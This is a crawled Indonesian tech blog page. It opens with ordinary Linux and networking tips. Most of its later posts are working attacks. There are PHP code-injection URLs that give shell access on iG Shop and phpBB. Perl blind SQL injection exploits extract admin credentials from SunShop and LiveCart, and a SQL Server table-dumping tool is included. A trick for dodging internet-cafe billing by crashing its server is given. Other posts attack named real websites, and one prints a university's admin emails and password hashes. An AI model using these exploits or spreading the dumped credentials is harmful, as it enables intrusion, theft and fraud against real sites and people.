Restore USB Flash Drive dengan fdisk

Mengembalikan USB Flash Drive ke posisi awal di Linux dengan perintah fdisk

Check directory USB flash drive dengan perintah fdisk -l

~ $ sudo fdisk -l
Disk /dev/sdb: 132 MB, 132120576 bytes

terlihat di atas USB flash drive terdeteksi sebagai /dev/sdb
lalu jalankan perintah fdisk /dev/sdb

~ $ sudo fdisk /dev/sdb
Command (m for help):

ketik m untuk melihat daftar command

Command (m for help): m
Command action
a toggle a bootable flag
b edit bsd disklabel
c toggle the dos compatibility flag
d delete a partition
l list known partition types
m print this menu
n add a new partition
o create a new empty DOS partition table
p print the partition table
q quit without saving changes
s create a new empty Sun disklabel
t change a partition's system id
u change display/entry units
v verify the partition table
w write table to disk and exit
x extra functionality (experts only)

ketik p untuk melihat daftar partisi

Command (m for help): p

Disk /dev/sdb: 132 MB, 132120576 bytes
5 heads, 51 sectors/track, 1011 cylinders
Units = cylinders of 255 * 512 = 130560 bytes
Disk identifier: 0x00000000

Device Boot Start End Blocks Id System
/dev/sdb1 1 1011 128877 83 Linux

Hapus semua partisi dengan ketik d

Command (m for help): d
Selected partition 1

Ketik n untuk add partisi lalu pilih p untuk primary partition

Command (m for help): n
Command action
e extended
p primary partition (1-4)
p
Partition number (1-4): 1
First cylinder (1-1011, default 1):
Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-1011, default 1011):
Using default value 1011

Default dari pembuatan partisi ini adalah ext3,
Ketik t lalu ketik b di halaman konfirmasi HEX code untuk merubahnya menjadi FAT32

Command (m for help): t
Selected partition 1
Hex code (type L to list codes): b
Changed system type of partition 1 to b (W95 FAT32)

simpan perubahan dengan mengetikan w

Command (m for help): w
The partition table has been altered!

kini check USB flash drive anda dengan perintah fdisk -l

~ $ sudo fdisk -l

Device Boot Start End Blocks Id System
/dev/sdb1 1 1011 128877 b W95 FAT32

terlihat System sudah menjadi W95 FAT32.
kini format USB flash drive dengan perintah mkfs.vfat /dev/sdb1

~$ sudo mkfs.vfat /dev/sdb1
mkfs.vfat 2.11 (12 Mar 2005)

selesai!!

Read more...

Connect RDP through SSH tunnel

Uprek setting putty untuk connect ke remote desktop (RDP) server melalui SSH tunnel.

1) Open putty, terus ke SSH , Tunnels
2) Masukan Source port 1189 (atau bisa diganti terserah)
3) Pada Destination isi dengan ip RDP server di ikuti port RDP 3389

4) Kemudian Klik add

5) Balik ke sesion masukan Host Name [or IP address] SSH server

6) Klik open masukan username dan password SSH server
7) Open remote desktop clien (mstsc.exe)
8) Masukan 127.0.0.1:1189

9) Click connect

Read more...

Google translate include bahasa indonesia

Kemarin waktu mau translate spanish to english di google translate nggak sengaja nemu pilihan bahasa indonesia.

Wow grammar inggris indonesia nya lumayan juga, Btw ini fasilitas baru apa gw yang kuper ya :D

Read more...

Kaos Sekuritionline

Beberapa waktu yang lalu seorang teman (cah_gemblunkz aka bethunkz aka br0ken) membawakan aku kaos Sekuritionline.

Desainnya lumayan keren bahan kaosnya juga bagus namun size nya kekecilan untuk seukuran ku.
Thanks ya friend udah bawain aku kaos dan maju terus untuk Sekuritionline

Read more...

EASEUS Data recovery wizard profesional

Beberapa waktu yang lalu aku telah melakukan kesalahan yang fatal pada waktu pembagian partisi di Linux mengunakan gparted. Akibatnya semua data-data penting menjadi terhapus.
Memang ini bukan pertama kalinya aku kehilangan data, yang menjadi berbeda di sini adalah baru kali ini aku kehilangan data pada partisi ext3.

Tak ingin berlarut larut dalam penyesalan dan duka aku mulai melepas hardisku dan menjadikanya slave di komputer lain yang bersystem operasi windows.
Dari penelusuran di google terdapat berbagai tool untuk recover data namun kebanyakan hanya untuk NTFS dan FAT.
Sampai pada ahkirnya aku menemukan sebuah tool yang dapat membuatku bernafas lega.
EASEUS Data recovery wizard profesional
Dengan pertolongan tool ini lah hampir 100% data-data penting ku ahkirnya terselamatkan.
:)

Read more...

Desktop Linux Mint

Kali ini saya berkesempatan untuk mencicipi cantiknya Desktop Linux mint Elyssa.
Distro ini di lengkapi dengan program program yang dapat mempermudah anda seperti EnvyNg yaitu sebuah program yang mempermudah anda menginstall driver vga entah itu Ati atau pun Nvidia.

Anda bisa langsung memutar mp3 3gp avi dan multimedia file lainya tanpa harus menginstal plugin atau software tambahan.
Ntfs-3g juga sudah terinstal dengan baik di distro ini sehingga bagi yang berbagi partisi dengan windows dapat read atau pun write di partisi windows dengan mudah.
Karena distro ini berbasis Ubuntu 8 kita bisa langsung menginstall paket paket ubuntu ke dalam distro ini tanpa ada masalah.

Read more...

Menginstall Netfilter-Layer7 di Ubuntu 7.04 server

Menginstall Netfilter-Layer7 di Ubuntu 7.04 server.

Kalau ada yang mudah ngapain susah susah
lets go !

# wget http://www.coolsolutions.eu/ipsqos-1.10.9/de4.0/linux-image-2.6.22-o3_2.0_i386.deb
# wget http://www.coolsolutions.eu/ipsqos-1.10.9/de4.0/linux-headers-2.6.22-o3_2.0_i386.deb
# wget http://www.coolsolutions.eu/ipsqos-1.10.9/de4.0/layer7_1.3.6-2.6.18_o3_deb4.0_i386.deb
# wget http://internode.dl.sourceforge.net/sourceforge/l7-filter/l7-protocols-2008-04-23.tar.gz

# dpkg -i linux-image-2.6.22-o3_2.0_i386.deb
# dpkg -i linux-headers-2.6.22-o3_2.0_i386.deb
# dpkg -i layer7_1.3.6-2.6.18_o3_deb4.0_i386.deb
# tar -zxvf l7-protocols-2008-04-23.tar.gz
# cd l7-protocols-2008-04-23
# make install
# reboot

netfilter-layer7 siap digunakan.

block p2p

#iptables -t mangle -A PREROUTING -m layer7 --l7proto 100bao –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto applejuice –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto ares –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto bittorrent –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto directconnect –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto edonkey –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto fasttrack –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto freenet –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto gnucleuslan –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto gnutella –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto goboogy –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto hotline –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto imesh –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto kugoo –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto mute –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto napster –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto openft –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto poco –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto soribada –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto soulseek –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto http-dap –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto audiogalaxy –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto rpm –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto code_red –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto nimda –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto tesla –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto thecircle –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto xunlei –j DROP

selengkapnya tentang L7-filter Supported Protocols silahkan lihat http://l7-filter.sourceforge.net/protocols

Read more...

PHP injection phpbb dan ig shop

IG shop dan phpbb bukanlah satu vendor yang sama.
IG shop : http://www.igeneric.co.uk/ig-shopping-cart.html
phpbb : http://www.phpbb.com
Namun kesamaan dari 2 php scripts ini adalah opensource.
Kesamaan lainya adalah terdapat 2 celah php injection yang pernah terjadi di versi versi sebelumnya.

Php injection disini bukanlah yang di kenal dengan RFI LFI atau SQL INJECTION.
php injection disini adalah dimana kita dapat menyisipkan perintah perintah php pada url target.

---------------
| iG Shop 1.0 |
---------------


vuln php injection di IG shop terjadi pada page.php dan cart.php dimana perintah eval memangil variabel
yang tak terfilter dengan baik ( http://milw0rm.com/exploits/3083 ).

cart.php pada line 692
eval ("cart_$action();");

page.php pada line 336
eval ("page_$action();");

variabel $action pada ke 2 file tersebut tidak terfilter dengan baik, sehingga memungkinkan kita untuk memangil
variabel tersebut dan menyisipkanya pada url.

Dengan menyisipkan injection ini kita bisa mendapatkan access shell dengan mengunakan r57 atau c99
page.php?action=exit.include($_GET[cok]);exit&cok=[shell]
cart.php?action=exit.include($_GET[cok]);exit&cok=[shell]

Dengan menyisipkan php injection ini kita bisa melihat isi file file penting yang terdapat dalam host
page.php?action=exit.show_source($_GET[cok]);exit&cok=page.php
cart.php?action=exit.show_source($_GET[cok]);exit&cok=page.php

Dengan menyisipkan php injection berikut ini kita bisa menginjeckan perintah shell pada url
page.php?action=exit.passthru($_GET[cok]);exit&cok=uname -a
cart.php?action=exit.passthru($_GET[cok]);exit&cok=id

Kita juga dapat mencoba dengan berbagai macam perintah php seperti fopen readfile dll.


-----------------------------------------
| copyright : (C) 2001 The phpBB Group |
-----------------------------------------

Vuln phpbb terjadi pada file viewtopic.php dimana perintah urlencode memangil variabel highlight yang tak terfilter dengan baik.

explode(' ', trim(htmlspecialchars(urldecode($HTTP_GET_VARS['highlight']))));
$highlight = urlencode($HTTP_GET_VARS['highlight']);

Dengan munganakan single quote (') yang di convert dalam hex dan character titik (.) kita bisa menyisipkan php injection ke dalam url.

viewtopic.php?p=15&highlight=%2527.show_source($_GET[file]),exit.%2527&file=viewtopic.php
viewtopic.php?p=15&highlight=%2527.include($_GET[file]),exit.%2527&file=[shell]

Read more...

SunShop Version 3.5.1 Blind Sql Injection

#!/usr/bin/perl -w
use LWP::UserAgent;
# scripts : SunShop Version 3.5.1 Remote Blind Sql Injection
# scripts site : http://www.turnkeywebtools.com/sunshop/
# Discovered
# By : irvian
# site : http://irvian.cn
# email : irvian.info@gmail.com

print "\r\n[+]-----------------------------------------[+]\r\n";
print "[+]Blind SQL injection [+]\r\n";
print "[+]SunShop Version 3.5.1 [+]\r\n";
print "[+]code by irvian [+]\r\n";
print "[+]special : ifx, arioo, jipank, bluespy [+]\r\n";
print "[+]-----------------------------------------[+]\n\r";
if (@ARGV < 5){
die "

Cara Mengunakan : perl $0 host option id tabel itemid

Keterangan
host : http://victim.com
Option : pilih 1 untuk mencari username dan pilih 2 untuk mencari password
id : Isi Angka Kolom id biasanya 1, 2 ,3 dst
tabel : Isi Kolom tabel biasanya admin atau ss_admin
itemid : Isi Angka valid (ada productnya) di belakang index.php?action=item&id=
Contoh : perl $0 http://www.underhills.com/cart 1 1 admin 10
\n";}


$url = $ARGV[0];
$option = $ARGV[1];
$id = $ARGV[2];
$tabel = $ARGV[3];
$itemid = $ARGV[4];

if ($option eq 1){
syswrite(STDOUT, "username: ", 10);}
elsif ($option eq 2){
syswrite(STDOUT, "password: ", 10);}

for($i = 1; $i <= 32; $i++){
$f = 0;
$n = 32;
while(!$f && $n <= 57)
{
if(&blind($url, $option, $id, $tabel, $i, $n, $itemid)){
$f = 1;
syswrite(STDOUT, chr($n), 1);
}
$n++;
}
if ($f==0){
$n = 97;
while(!$f && $n <= 122)
{
if(&blind($url, $option, $id, $tabel, $i, $n, $itemid)){
$f = 1;
syswrite(STDOUT, chr($n), 1);
}
$n++;
}
}
}
print "\n[+]finish Execution Exploit\n";

sub blind {
my $site = $_[0];
my $op = $_[1];
my $id = $_[2];
my $tbl = $_[3];
my $i = $_[4];
my $n = $_[5];
my $item = $_[6];

if ($op eq 1){
$klm = "username";
}
elsif ($op eq 2){
$klm = "password";
}
my $ua = LWP::UserAgent->new;
my $url = "$site"."/index.php?action=item&id="."$item"."'%20AND%20SUBSTRING((SELECT%20"."$klm"."%20FROM%20"."$tbl"."%20WHERE%20id="."$id"."),"."$i".",1)=CHAR("."$n".")/*";
my $res = $ua->get($url);
my $browser = $res->content;
if ($browser !~ /This product is currently not viewable/i){
return 1;
}
else {
return 0;
}

}

Read more...

Kelemahan Billing easycafe tinasoft

Tips ini sudah di coba dengan baik di billing easycafe version 2.2.14.

Kronologi.
Beberapa orang teman memyarankan saya mengunakan billing easycafe dari tinasoft
yang katanya bagus dan stabli di coba di warnet dia. Dengan rasa penasaran
yang sangat tinggi saya mencoba menginstallnya.
Ternyata dia benar billing easycafe kaya fitur dan sangat komplet.

Masalah.
Karena listrik down dengan sendirinya komputer yang saya install sebagai clien dan
server billing easycafe menjadi mati dan ketika listrik mulai menyala lagi,
saya mencoba menghidupkan komputer server dan clien.
Alangkah terkejutnya saya ketika tidak menemukan data pengunaan clien di dalam log komputer server.

Kesimpulan.
Jika server easycafe mati dan clien juga mati maka data data log pengunaan clien menjadi tidak terdeteksi.

Beware.
Dari kronologi dan kesimpulan diatas kita bisa mencoba bermain gratis di warnet yang mengunakan easycafe sebagi billing.
Masuklah ke warnet dan pakailah komputer seperti biasa, setelah dirasa cukup,
cobalah untuk membuat komputer billing server menjadi crash , hang , reboot atau shutdown.
Cukup bayak cara yang bisa anda gunakan seperti mencoba beberapa exploid & bug windows , DOS atau mungkin dengan teknik social engineering.
Setelah yakin komputer billing server dalam keadaan yang di sebutkan di atas segeralah matikan komputer yang kamu pakai dengan cara menekan tombol on/off dari komputer atau cabut saja kabel listriknya dan tancapkan lagi.
Ketika komputer billing server kembali ke keadaan normal maka log data pengunaan anda menjadi tidak terdeteksi oleh server.

Read more...

cfm scanner tabel dan kolom

#!/usr/bin/perl
use LWP::UserAgent;
# tools untuk artikel Bermain Sql Injection di target cfm
# enjoy :D
# kritik dan saran irvian.info@gmail.com

print "[*]---------------------------------[*]\r\n";
print "[*] DATABASE INJECTOR [*]\r\n";
print "[*] TYPE DATABASE [*]\r\n";
print "[*] SQL SERVER [*]\r\n";
print "[*] created by irvian [*]\r\n";
print "[*]---------------------------------[*]\r\n";

unless ($ARGV[0] and $ARGV[1]){
print "\nuse:$0 \"http://victim.com/query?patch=1\" scan\r\n";
print "change scan with table name for scan column in a table\r\n";
exit;
}

$host = $ARGV[0];
$tbl = $ARGV[1];
if ($host =~ /^https:\/\//i){
$host = "http:\/\/".$';}
if ($host !~ /^http:\/\//i){
$host = "http:\/\/".$ARGV[0];}
if ($host =~ /(.*)\/(.*)\?(.*)=/i){
$host = $&;}
else{
die "Wrong URL, Check Patch Or Query Variabel\n";}
$url = $host."1\'";

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$res = $b->request(HTTP::Request->new(GET=>$url));
$browser = $res->content;

print "Detection Database.....\r\n";
sleep (2);

if ($browser =~ /JET Database/i){
die "Program Can't Work On Database Microsoft Jet\n"}

elsif ($browser =~ /Microsoft Access/i){
die "Program Can't Work On Database Microsoft Access\n";}

elsif ($browser =~ /MYSQL/i){
die "Program Can't Work On Database MYSQL\n";}

#SQL SERVER
elsif ($browser =~ /SQL Server|SQLServer/i){
print "Database SQL Server\r\n";
$n=1;
$found="\'\'";
if ($tbl eq "scan") {
print "Scan All Table....\r\n";
while ($url="$host"."convert(int,(SELECT%20TOP%201%20TABLE_NAME%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20TABLE_NAME%20NOT%20IN($found)))--", $res=$b->request(HTTP::Request->new(GET=>$url)), $browser=$res->content, $browser =~ /converting the nvarchar value \'(.+)\'/i)
{
print "Table $n: $1\n";
$weks=$1;
$hiks = &jancok($weks);
$found .= ",$hiks";
$n++;
}
if ($n != 1) {
print "Total Table : ".($n-1)."\n";exit;}
else {
die "Table Not found!\n";
}
}
else {
print "Scan All Column on Table $tbl\r\n";
$duh=&jancok($tbl);
while ($url="$host"."convert(int,(SELECT%20TOP%201%20COLUMN_NAME%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20TABLE_NAME=$duh%20AND%20COLUMN_NAME%20NOT%20IN%20($found)))--", $res=$b->request(HTTP::Request->new(GET=>$url)), $browser=$res->content, $browser =~ /converting the nvarchar value \'(.+)\'/i)
{
print "Column $n: $1\n";
$weks=$1;
$hiks = &jancok($weks);
$found .= ",$hiks";
$n++;
}
if ($n != 1) {
print "Total Column : ".($n-1)."\n";exit;}
else {
die "Column NOT found!\n";
}
}
}

else {
die "Injection Not Work in Victim\n";}

#created by irvian

sub jancok{
$weks=$_[0];
%ascii =
(
" " => "char(32)",
"!" => "char(33)",
"\"" => "char(34)",
"#" => "char(35)",
"\$" => "char(36)",
"%" => "char(37)",
"&" => "char(38)",
"'" => "char(39)",
"(" => "char(40)",
")" => "char(41)",
"*" => "char(42)",
"+" => "char(43)",
"," => "char(44)",
"-" => "char(45)",
"." => "char(46)",
"/" => "char(47)",
"0" => "char(48)",
"1" => "char(49)",
"2" => "char(50)",
"3" => "char(51)",
"4" => "char(52)",
"5" => "char(53)",
"6" => "char(54)",
"7" => "char(55)",
"8" => "char(56)",
"9" => "char(57)",
":" => "char(58)",
";" => "char(59)",
"<" => "char(60)",
"=" => "char(61)",
">" => "char(62)",
"?" => "char(63)",
"@" => "char(64)",
"A" => "char(65)",
"B" => "char(66)",
"C" => "char(67)",
"D" => "char(68)",
"E" => "char(69)",
"F" => "char(70)",
"G" => "char(71)",
"H" => "char(72)",
"I" => "char(73)",
"J" => "char(74)",
"K" => "char(75)",
"L" => "char(76)",
"M" => "char(77)",
"N" => "char(78)",
"O" => "char(79)",
"P" => "char(80)",
"Q" => "char(81)",
"R" => "char(82)",
"S" => "char(83)",
"T" => "char(84)",
"U" => "char(85)",
"V" => "char(86)",
"W" => "char(87)",
"X" => "char(88)",
"Y" => "char(89)",
"Z" => "char(90)",
"[" => "char(91)",
"\\" => "char(92)",
"]" => "char(93)",
"^" => "char(94)",
"_" => "char(95)",
"`" => "char(96)",
"a" => "char(97)",
"b" => "char(98)",
"c" => "char(99)",
"d" => "char(100)",
"e" => "char(101)",
"f" => "char(102)",
"g" => "char(103)",
"h" => "char(104)",
"i" => "char(105)",
"j" => "char(106)",
"k" => "char(107)",
"l" => "char(108)",
"m" => "char(109)",
"n" => "char(110)",
"o" => "char(111)",
"p" => "char(112)",
"q" => "char(113)",
"r" => "char(114)",
"s" => "char(115)",
"t" => "char(116)",
"u" => "char(117)",
"v" => "char(118)",
"w" => "char(119)",
"x" => "char(120)",
"y" => "char(121)",
"z" => "char(122)",
"{" => "char(123)",
"|" => "char(124)",
"}" => "char(125)",
"~" => "char(126)",
"" => "char(127)",
"€" => "char(128)",
"�" => "char(129)",
"‚" => "char(130)",
"ƒ" => "char(131)",
"„" => "char(132)",
"…" => "char(133)",
"†" => "char(134)",
"‡" => "char(135)",
"ˆ" => "char(136)",
"‰" => "char(137)",
"Š" => "char(138)",
"‹" => "char(139)",
"Œ" => "char(140)",
"�" => "char(141)",
"Ž" => "char(142)",
"�" => "char(143)",
"�" => "char(144)",
"‘" => "char(145)",
"’" => "char(146)",
"“" => "char(147)",
"”" => "char(148)",
"•" => "char(149)",
"–" => "char(150)",
"—" => "char(151)",
"˜" => "char(152)",
"™" => "char(153)",
"š" => "char(154)",
"›" => "char(155)",
"œ" => "char(156)",
"�" => "char(157)",
"ž" => "char(158)",
"Ÿ" => "char(159)",
" " => "char(160)",
"¡" => "char(161)",
"¢" => "char(162)",
"£" => "char(163)",
"¤" => "char(164)",
"¥" => "char(165)",
"¦" => "char(166)",
"§" => "char(167)",
"¨" => "char(168)",
"©" => "char(169)",
"ª" => "char(170)",
"«" => "char(171)",
"¬" => "char(172)",
"­" => "char(173)",
"®" => "char(174)",
"¯" => "char(175)",
"°" => "char(176)",
"±" => "char(177)",
"²" => "char(178)",
"³" => "char(179)",
"´" => "char(180)",
"µ" => "char(181)",
"¶" => "char(182)",
"·" => "char(183)",
"¸" => "char(184)",
"¹" => "char(185)",
"º" => "char(186)",
"»" => "char(187)",
"¼" => "char(188)",
"½" => "char(189)",
"¾" => "char(190)",
"¿" => "char(191)",
"À" => "char(192)",
"Á" => "char(193)",
"Â" => "char(194)",
"Ã" => "char(195)",
"Ä" => "char(196)",
"Å" => "char(197)",
"Æ" => "char(198)",
"Ç" => "char(199)",
"È" => "char(200)",
"É" => "char(201)",
"Ê" => "char(202)",
"Ë" => "char(203)",
"Ì" => "char(204)",
"Í" => "char(205)",
"Î" => "char(206)",
"Ï" => "char(207)",
"Ð" => "char(208)",
"Ñ" => "char(209)",
"Ò" => "char(210)",
"Ó" => "char(211)",
"Ô" => "char(212)",
"Õ" => "char(213)",
"Ö" => "char(214)",
"×" => "char(215)",
"Ø" => "char(216)",
"Ù" => "char(217)",
"Ú" => "char(218)",
"Û" => "char(219)",
"Ü" => "char(220)",
"Ý" => "char(221)",
"Þ" => "char(222)",
"ß" => "char(223)",
"à" => "char(224)",
"á" => "char(225)",
"â" => "char(226)",
"ã" => "char(227)",
"ä" => "char(228)",
"å" => "char(229)",
"æ" => "char(230)",
"ç" => "char(231)",
"è" => "char(232)",
"é" => "char(233)",
"ê" => "char(234)",
"ë" => "char(235)",
"ì" => "char(236)",
"í" => "char(237)",
"î" => "char(238)",
"ï" => "char(239)",
"ð" => "char(240)",
"ñ" => "char(241)",
"ò" => "char(242)",
"ó" => "char(243)",
"ô" => "char(244)",
"õ" => "char(245)",
"ö" => "char(246)",
"÷" => "char(247)",
"ø" => "char(248)",
"ù" => "char(249)",
"ú" => "char(250)",
"û" => "char(251)",
"ü" => "char(252)",
"ý" => "char(253)",
"þ" => "char(254)",
"ÿ" => "char(255)"
);
@oh=split(/(?)/, $weks);
$kuda="";
$kacau="";
$i=0;
while ($kluk=@ascii{"$oh[$i]"}){
$i++;
$kacau .= "$kuda"."$kluk";
$kuda = "%2b";
}
return $kacau;
}

#write by irvian

Read more...

Berburu error sql dengan Acunetix Web Vulnerability Scanner

Dalam sql injection error bagaikan sebuah emas . error sql injection bisa kita dapatkan dengan memanipulasi url, textbox maupun cokies.

Disini kita akan mencoba berburu error mengunakan Acunetix Web Vulnerability Scanner.

sebelum melakukan scan pastikan pilihan profile adalah sql_injection







gambar disamping adalah Acunetix Web Vulnerability Scanner sedang mencari Vulnerability di sebuah website.





gambar disamping menunjukan acunetix menemukan bug berbahaya yaitu sql injection.






gambar disamping menunjukan patch & file yang mengeluarkan error ketika dimanipulasi dengan ' (single quote).





gambar disamping adalah respon error di browser.




jadi dari hasil scan di atas kita bisa menyimpulkan : http://aircraft-japan.com/default.asp?id=[sql]

ternyata benar dengan menambahkan perintah having ,convert ataupun union kita dapat mencari kolom maupun tabel.

contoh:
http://aircraft-japan.com/default.asp?id=1%20having%201=1

Read more...

livecart Remote Blind Sql Injection

#!/usr/bin/perl -w
use LWP::UserAgent;
# scripts : livecart Remote Blind Sql Injection
# scripts site : http://www.livecart.com
#
# Discovered
# By : irvian
# site : http://irvian.cn
# forum : http://noscan.info/forum
# email : irvian.info@gmail.com
#
# sample :
# http://demo.livecart.com

print "\r\n[+]----------------------[+]\r\n";
print "[+]Blind SQL injection [+]\r\n";
print "[+]Livecart [+]\r\n";
print "[+]code by irvian [+]\r\n";
print "[+]irvian[dot]cn [+]\r\n";
print "[+]----------------------[+]\n\r";
if (@ARGV < 3){
die "
Cara Mengunakan : perl $0 host option userid

Keterangan
host : http://victim.com atau victim.com
Option : pilih 1 untuk mencari email dan pilih 2 untuk mencari password
userid : Limit
Contoh : perl $0 http://victim.com 1 1
\n";}


$url = $ARGV[0];
$option = $ARGV[1];
$id = $ARGV[2];

if ($option eq 1){
syswrite(STDOUT, "email: ", 7);}
elsif ($option eq 2){
syswrite(STDOUT, "password: ", 10);}

for($i = 1; $i <= 32; $i++){
$f = 0;
$n = 32;
while(!$f && $n <= 57)
{
if(&blind($url, $option, $id, $i, $n, $id)){
$f = 1;
syswrite(STDOUT, chr($n), 1);
}
$n++;
}
if ($f==0){
$n = 97;
while(!$f && $n <= 122)
{
if(&blind($url, $option, $id, $i, $n, $id)){
$f = 1;
syswrite(STDOUT, chr($n), 1);
}
$n++;
}
}
}

print "\n[+]finish Execution Exploit\n";

sub blind {
my $site = $_[0];
my $op = $_[1];
my $id = $_[2];
my $i = $_[3];
my $n = $_[4];
my $r = $_[5];
if ($op eq 1){$klm = "email";}
elsif ($op eq 2){$klm = "password";}
$site =~ s/^http:\/\///;
my $url = "http://"."$site"."/category?id=1"."%20AND%20SUBSTRING((SELECT%20"."$klm"."%20FROM%20"."User"."%20LIMIT%20"."$r".",1"."),"."$i".",1)=CHAR("."$n".")";
my $browser = &zero($url);

if ($browser !~ /Error Code 500/gi){
return 1;
}
else {
return 0;
}
}

sub zero($){
my $spy = $_[0];
my $ua = LWP::UserAgent->new;
$ua->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
my $res = $ua->get($spy);
my @r = $res->content;
$page="@r";
return $page;}

Read more...

Kesalahan Fatal penulisan scripts php

Beberapa kesalahan penulisan scripts php yang dapat berakibat fatal.

======
case 1
======
[scripts]
$page = $_GET[page];
include($page);

[attack]
http://victim.com/file.php?page=[evil scripts]

======
case 2
======
[scripts]
header( "Content-Type: application/octet-stream" );
header( "Content-Length: " . filesize($_GET['file'] ) );
header( "Content-Disposition: inline; filename=\"$_GET[file]\"");
readfile($_GET['file'] );

[attack]
http://victim.com/file.php?file=index.php


=======
case 3
=======
[scripts]
$fp = fopen("/path/{$_GET['filename']}.txt", 'r');

[attack]
http://victim.com/file.php?filename=../../../etc/passwd


======
case 4
======
[scripts]
eval($_GET[ev]);

[attack]
http://victim.com/file.php?ev=include($_GET[irv]);&irv=[evil code]


==========
case 5
==========
[scripts]
passthru($_GET[cmd]);

[attack]
http://victim.com/file.php?cmd=ls -al

Read more...

Cast sql mysql

Apa fungsi cast dalam query mysql?

[+] fungsi cast adalah merubah sebuah type data ke type data tertentu.
[+] formatnya adalah CAST(ekspresi AS typedata);

fungsi ini sendiri jarang di gunakan karena type dari mysql yang auto konversi, namun adakalanya fungsi ini harus di pakai.

disini saya mengambil kasus dimana cast di gunakan untuk mengeluarkan info dalam sql injection

victim:
http://www.unsri.ac.id

vuln:
http://www.unsri.ac.id/main.php?id=-fak_ekonomi[sql]

cari jumlah kolomnya sampai true

sql:
http://www.unsri.ac.id/main.php?id=-fak_ekonomi'%20and%201=1%20union%20select1,2,3,4/*

ok true,

lalu coba kita keluarkan infomasi didalam tabel unsri_admin pada kolom nama,email, dan password.

(jika kamu bertanya dari mana saya bisa mengetahui nama tabel dan kolom? silahkan lihat turotrial Mencari tabel dan kolom di target mysql)

SQL:
http://www.unsri.ac.id/main.php?id=-fak_ekonomi'%20union%20select%201,2,3,4,5,concat(nama,0x3a,email,0x3a,password)%20from%20%20unsri_admin/*

browser:
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /home/users/unsri/public_html/main.php on line 21

eror di atas terjadi karena server tidak bisa membaca type data yang kita masukan.

Disinlah perintah cast akan di gunakan

SQL:
http://www.unsri.ac.id/main.php?id=-fak_ekonomi'%20union%20select%201,2,3,4,5,cast(concat(nama,0x3a,email,0x3a,password)%20as%20binary)%20from%20%20unsri_admin/*

browser:
Desrizal:drz@telkom.net:5a28802e0a45055bbdd3b34bc645b995
iwan:iwan_pas@unsri.ac.id:e172dd95f4feb21412a692e73929961e
deska:deska@gmail.com:6a5579e0e727c66a1fb3434485ce0008
rujito:rujito@unsri.ac.id:8b4af37ba8889583d8b9009165441480


Dengan kasus di atas mudah mudahan dapat menjelaskan tentang bagaimana fungsi cast berkeja.

Read more...

Belajar regular expression

Belajar sedikit tengang regular expression


----------
Assertion
----------
^ = awal kata
$ = ahkir kata
\b = batas kata
\B = batas non kata

-----
Atom
-----
. = sembarang karakter kecuali newline
[] = salah satu karakter yang di dalam kurung
[^ ] = bukan salah satu karakter yang di dalam kurung
| = kemunkinan dari suatu string
() = sembarang regular experssion yang cocok

----------
Quantifier
----------
* = nol atau lebih instan atom
+ = satu atau lebih instan dari atom
? = nol atau satu instan dari atom
{n} = n instan dari atom
{n,} = sedikitanya n instan dari atom
{n,m} = sedikinya n dan paling banyak m
n-m = n sampai m


------------------------
Symbol / karakter khusus
------------------------
\d = sembarang digit
\D = sembarang non digit
\n = newline
\r = carriage return
\t = tab
\f = formfeed
\s = karakter white space
\S = karakter non white space
\w = alfanumerik
\W = karakter non alfanumerik


Kita coba penarapanya dalam perl dan php

perl

#!/usr/sbin/perl
$url = "http://www.irvian.cn";
if ($url =~ /^http:\/\/www\.(.+)$/i){print $1;}
else{ die "wrong\n";}

hasilnya dari program diatas yaitu irvian.cn


php

$url = "http://www.irvian.cn";
if(@eregi("^http:\/\/www\.(.+)$", $url, $hasil)){
echo $hasil[1];}


hasilnya sama yaitu irvian.cn

Read more...

Sql injection LOAD_FILE

kali ini saya mencoba mengunakan LOAD_FILE pada sql injection untuk melihat file file sesitif.


victim:

http://sonyadakar.com


vuln:
http://sonyadakar.com/products1/content.php?id=-1[sql]

seperti biasa cari jumlah kolomnya sampai true.

(browser sudah tidak mengeluarkan error lagi)


%20union%20select%201,2/*

%20union%20select%201,2,3/*

dst.. sampai

%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12/*

http://sonyadakar.com/products1/content.php?id=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12/*

setelah itu kita ganti angka yang keluar dengan LOAD_FILE.


formatnya adalah LOAD_FILE(/etc/passwd) dimana /etc/passwd adalah patch file yang mau kita lihat


tetapi sebelumnya /etc/passwd harus di rubah ke bentuk hex terlebih dahulu


hex dari /etc/passwd adalah 0x2f6574632f706173737764.


